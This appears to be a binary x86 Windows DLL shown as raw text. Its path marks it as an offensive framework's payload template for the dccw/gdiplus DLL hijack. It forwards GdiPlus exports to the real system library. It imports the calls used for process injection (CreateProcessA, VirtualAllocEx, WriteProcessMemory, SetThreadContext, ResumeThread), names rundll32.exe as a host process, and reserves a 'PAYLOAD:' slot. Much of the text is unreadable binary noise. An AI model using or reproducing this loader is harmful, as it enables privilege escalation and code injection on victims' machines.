Path: blob/master/data/templates/template_x86_windows_dccw_gdiplus.dll
21517 views
MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode.
$ ��뱰h���h���h�b�i���h���i���h��l���h��h���h�̗���h��j���h�Rich��h� PE L <�c � ! " * p � @ ` `
�. ( ` � p 8 8 8 .text � `.rdata < @ @.data ) @ @ �.rsrc � ` . @ @.reloc 8 p 0 @ B U����E�E��E� �E� � �M����M��U�;U s�E�� �M����M��ދ�]���������������U���( jD�E�P�������E�D �- ���� �M�Q�U�Rj j hD jj j h R j � �E��}� u$�E�P�M�Qj j jDjj j h R j � �E��}� �� Dž���� ������R�E�P� j@h h j �M�Q�( �E�j h h @ �U�R�E�P�, �M�������������R�E�P�$ �M�Q� �U�R� �E�P� j � ��]�������U��Q�E �E��}�t������� ��]� ��������������U��� �E� �E� �E� �E� �E� �E� �E� h P jj�E�P�0 �E��}� u�u�E� j �M�Q� = u�Y�E� hQ jh � �E��}� t �U�R� �+hQ jj�E�P� �E��}� t�E� 3��m����}� t �}� tj j�U�R� �E�P� �E��]� D/ R/ f/ |/ �/ �/ �/ �/ �/ �/ �/ 0 0 <�c
�- � ���� �) " @ � �) �) * G* �* �* + Z+ �+ �+ ,, k, �, �, #- X- �- * 8* r* �* �* >+ �+ �+ , X, �, �, - H- �- ( 2 5 ? X ` e m � � >?template_x86_windows_dccw_gdiplus.dll GdipAlloc c:/windows/system32/gdiplus.GdipAlloc GdipCloneBrush c:/windows/system32/gdiplus.GdipCloneBrush GdipCloneImage c:/windows/system32/gdiplus.GdipCloneImage GdipCreateBitmapFromStream c:/windows/system32/gdiplus.GdipCreateBitmapFromStream GdipCreateFromHDC c:/windows/system32/gdiplus.GdipCreateFromHDC GdipCreateHBITMAPFromBitmap c:/windows/system32/gdiplus.GdipCreateHBITMAPFromBitmap GdipCreateLineBrushI c:/windows/system32/gdiplus.GdipCreateLineBrushI GdipCreateSolidFill c:/windows/system32/gdiplus.GdipCreateSolidFill GdipDeleteBrush c:/windows/system32/gdiplus.GdipDeleteBrush GdipDeleteGraphics c:/windows/system32/gdiplus.GdipDeleteGraphics GdipDisposeImage c:/windows/system32/gdiplus.GdipDisposeImage GdipFillRectangleI c:/windows/system32/gdiplus.GdipFillRectangleI GdipFree c:/windows/system32/gdiplus.GdipFree GdiplusShutdown c:/windows/system32/gdiplus.GdiplusShutdown GdiplusStartup c:/windows/system32/gdiplus.GdiplusStartup �� �- � � .text$mn 8 .idata$5 8 ( .rdata ` `
.edata �- .rdata$voltmd �- .rdata$zzzdbg �. .idata$2 �. .idata$3 / 8 .idata$4 D/ � .idata$6 @ ) .data ` � .rsrc$01 �` ` .rsrc$02 / .0 D/ R/ f/ |/ �/ �/ �/ �/ �/ �/ �/ 0 0 � CloseHandle �ReleaseSemaphore �WaitForSingleObject � CreateEventA OpenEventA kExitThread �ResumeThread � CreateProcessA
GetThreadContext mSetThreadContext �VirtualAllocEx 5WriteProcessMemory � CreateSemaphoreA KERNEL32.dll PAYLOAD: Local\Semaphore:Default Local\Event:Default rundll32.exe rundll32.exe � X �0 � H �` \ V S _ V E R S I O N _ I N F O \ 4 V S _ V E R S I O N _ I N F O ��� 8 �0�0�0�0�011"1<1F1P1Z1b1�1�122&292@2N2�2�2